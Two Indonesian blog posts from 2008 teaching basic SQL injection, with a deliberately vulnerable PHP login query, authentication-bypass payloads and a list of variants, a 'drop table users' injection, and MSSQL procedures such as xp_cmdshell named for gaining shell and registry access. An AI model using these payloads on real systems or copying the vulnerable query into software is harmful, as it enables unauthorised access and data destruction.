SQL Injection

November 17, 2008

Tehnik hacking sql injection mulai mencuat kepermukaan semenjak dijebolnya situs KPU pada pemilu putaran pertama kemarin oleh Dani Firmansyah atau Xnuxer , dengan teknik ini beliau dapat masuk sebagai web administrator tanpa susah payah scan port p ort yang terbuka , tanpa terdeteksi oleh firewall dan tanpa tool .ke situs tersebut yang konon system yang seharga 152 milyar itu keamanannya berlapis lapis.

Dalam pembahasan ini hanya disebutkan basic atau dasar dasar dari teknik hacking yang dinamakan sql injection , teknik ini memungkinkan kita masuk ke suatu system yang terproteksi sebagai siapa saja (anonymous) dengan hanya mengetahui username tanpa harus mengetahui passwordnya bahkan kita juga bisa login tanpa perlu mengetahui username dan password sama sekali SQL Injection merupakan teknik hacking yang memanfaatkan perintah SQL untuk memanipulasi script pada web korban sehingga script tersebut meloloskan perintah SQL yang simasukkan si penyerang.

Ilustrasi Kasus

Dalam ilustrasi kasus ini kita akan membuat web server sebagai korban. Web server ini dibangun menggunakan :

Apache

untuk membangun web server

PHP

sebagai bahasa pemrograman

MySQL untuk database server

Pada server, terdapat script PHP untuk

memeriksa login sebagai berikut :

$username = $_GET['username'];

$password = $_GET['password'];

$sql = mysql_query(“SELECT * FROM

login WHERE username=’$username’ &&

password=’$password’”);

Nah! Script inilah yang akan kita manfaatkan untuk melakukan SQL injection

Sebagai Login standart seharusnya user harus

memasukkan

username

: admin

password

: 123456

Namun sebagai user yang ‘nakal’ kita tidak perlu mengetahui username dan password tersebut untuk dapat masuk. Cukup kita manfaatkan script PHP yang telah disebutkan diatas Kita siap dengan “niat jahat” kita. Untuk mewujudkan niat tersebut kita cukup membuat query SQL ‘kebingungan’ sehingga meloloskan nilai true atau string kosong (‘ ‘) tanpa mengecek keberadaan akun user pada field username dan password pada tabel login.

Kita masukkan script ‘ OR ’s’=’s pada input username dan password.

username = ‘ OR ’s’=’s

password = ‘ OR ’s’=’s

Script yang kita masukkan tadi akan mengacaukan query:

$sql = mysql_query(“SELECT * FROM login

WHERE username=’$username’ &&

password=’$password’”);

sehingga perintah query menjadi :

$sql = mysql_query(“SELECT * FROM login

WHERE username=’‘ OR ’s’=’s‘ &&

password=’‘ OR ’s’=’s‘”);

ini artinya jika

username = ‘ ‘ atau username = true dan

password = ‘ ‘ atau password = true

maka user akan dapat login

Kemungkinan kemungkinan script lainya :

or 1=1″

or 1=1or

1=1′

or ‘a’='a

” or “a”=”a

‘) or (‘a’='a

‘ or 0=0 “

or 0=0 or

0=0 ‘

or 0=0 #


Bagaimana SQL Injections Menembus Server

November 11, 2008

Contoh kasus sederhana. Dulu jaman pertama kalinya bugs VP-ASP (Software Management untuk pembayaran online), Anda mungkin mengetahui tentang penggunaan karakter single quote (‘) dengan penambahan OR (logical operator) dan tanda sama dengan (=) di antara single quote tersebut.

Login: ‘ OR ‘’=’

Password: ‘ OR ‘’=’

Sedikit menganalisa, misal ketika input box untuk login dan password di isi seperti dalam contoh di atas apa yang akan terjadi jika script yang memproses input tersebut seperti di bawah ini.

var sql = “select * from users where username = ‘” + username + “‘ and password = ‘” + password + “‘”;

Untuk beberapa site yang tidak menerapkan sistem validasi input yang secure akan mengakibatkan seorang user bisa masuk baik sebagai admin atau user biasa tanpa membutuhkan login dan password yang sebenarnya. Mengapa? Karena ketika input itu di proses di sistem yang terjadi operasi tersebut di anggap valid.

var sql = “select * from users where username = ‘’ OR ‘’=’’ and password = ‘’ OR ‘’=’’;

Nah tamatlah sudah riwayatmu kini hehe…hehe..Oke mungkin contoh di atas masih di anggap sangat sederhana, sekarang kalau misalnya saya melakukan action yang lebih ekstrim dari itu?

Username: ‘; drop table users–

Password:

Apa yang akan terjadi? Saya yakin Anda juga tahu bahwa command tersebut akan menghapus seluruh data di tabel users, coba kita analisa lagi.

var sql = “select * from users where username = ‘’; drop table users.

Nah apa yang akan Anda perbuat jika yang terjadi adalah seperti command di atas ini? Di sini karakter titik koma (;) menutup command pertama dan kemudian command drop menjadi command berikutnya yang akan di eksekusi oleh sistem dan selanjutnya karakter double minus (–) menutup command-command berikutnya untuk tidak di eksekusi. Yahh klo sudah begini tamatlah sudah data Anda. Paling banter Anda akan di pecat dari perusahaan dan di maki-maki bos Anda karena tidak becus bekerja.

SQL Injections tidak hanya bereaksi di dalam input box saja, dalam sebuah URL pun bisa di aplikasikan. Ini tergantung kemahiran Anda dalam melihat celah dari ketidak-secure-an site tersebut. Tentu di perlukan juga pengetahuan tentang command SQL dan beberapa eksperimen kecil untuk meriching kode di antara variabel-variabel yang ada di site tersebut.

Jadi di mana letak kesalahannya?

Dalam hal ini Microsoft sangat merespon tragedi SQL Injection, bahkan mereka sudah membuat patch-nya. Tapi sekali lagi ini tidak hanya masalah patching saja tapi juga di tuntut kehati-hatian Anda dalam merancang isi web itu sendiri. Solusinya yaa buatlah beberapa fungsi validasi input yang mampu mematikan command-command abnormal yang bisa mempengaruhi atau membuat server bereaksi.

Hanya seperti itu saja? He..hehe… pertanyaan yang sangat menohok tapi nggak papa lah.

Jika Anda mendapatkan bugs ini pada NT server maka beruntunglah Anda karena akses di luar database pun sanggup di lakukan. Seperti apa? Seperti command shell, registry, dan messaging product. Yaa sedikit tentang pengetahuan tentang sistem menjadi mutlak untuk perlu di ketahui agar Anda bisa mendapatkan akses granted administator tentu dengan dukungan kreatifitas dan mungkin jika perlu dukungan kemampuan programming yang Anda kuasai. Coba lihat beberapa command sistem yang bisa Anda manfaatkan untuk mendapatkan akses lebih banyak di server target (NT).

xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

xp_regaddmultistring, xp_regdeletekey, xp_regdeletevalue, xp_regenumkeys, xp_regenumvalues, xp_regread

xp_regremovemultistring, xp_regwrite

xp_availablemedia, xp_dirtree, xp_enumdsn, xp_loginconfig

xp_makecab, xp_ntsec_enumdomains

xp_terminate_process